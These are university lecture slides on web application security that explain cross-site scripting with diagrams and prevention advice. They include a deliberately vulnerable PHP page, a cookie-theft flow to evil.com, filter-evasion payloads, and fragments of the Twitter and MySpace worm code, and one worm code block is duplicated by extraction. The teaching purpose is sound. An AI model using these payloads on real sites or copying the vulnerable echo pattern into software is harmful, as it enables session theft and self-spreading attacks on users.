Web Security:
Web Application Security

Spring 2017

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Web Applications

• Big trend: software as a Web-based service
  – Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
  – Cloud computing

• Applications hosted on Web servers
  – Written in a mixture of PHP, Ruby, Java, Perl, ASP

• Security is rarely the main concern
  – Poorly written scripts with inadequate input validation
  – Sensitive data stored in world-readable files
Dynamic Web Application

Browser

GET / HTTP/1.1

HTTP/1.1 200 OK

Web server

index.php

Database server

GET / HTTP/1.1
1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  
  ```php
  <input value="<?php echo $myvalue; ?>">
  ```

- Can embed variables in double-quote strings
  ```php
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
  ```

- Form data in global arrays `$_GET`, `$_POST`, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Justin Bieber"

search.php responds with

<html> <title>Search results</title> <body>You have searched for <?=php echo $_GET[term] ?>... </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob


Welcome, dear
Cross-Site Scripting (XSS)

evil.com

Access some web page


Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/ steal.cgi?cookie=

naive.com


Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com


Welcome!</HTML>

5/5/17

CSE 484 / CSE M 584 - Spring 2017
XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br><br>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome " . $_GET['name'];}?
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data

User victim

Attack server

Server victim
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

Users view or download content

Attack server

Server victim

User victim

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token"+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token"+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```

Preventing Cross-Site Scripting

- Any user input and client-side data must be preprocessed before it is used inside HTML
- Remove / encode HTML special characters
  - Use a good escaping library
    - OWASP ESAPI (Enterprise Security API)
    - Microsoft’s AntiXSS
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  - In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>
    
    <b c="">” onmouseover="script" x="<b ”>Hello<b>
  
• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """">SCRIPT>alert("XSS")</SCRIPT>”>
  – Long UTF-8 encoding
  – Scripts are not only in <script>:
    
    <iframe src='https://bank.com/login' onload='steal()'>
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style=“background:url( ‘javascript:alert(1)’ )”>`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:

```html
http://namb.la/popular/friendID=11851658&Mytoken='+L,"GET');xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open('POST', profile.myspace.com + '/index.cfm?fuseaction=profile.viewProfile&friendID=11851658&Mytoken='+L, true);
xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp2.send(BK);
```

```
Resulting code:

```html
http://namb.la/popular/friendID=11851658&Mytoken='+L,"GET');xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open('POST', profile.myspace.com + '/index.cfm?fuseaction=profile.viewProfile&friendID=11851658&Mytoken='+L, true);
xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp2.send(BK);
```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straightforward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak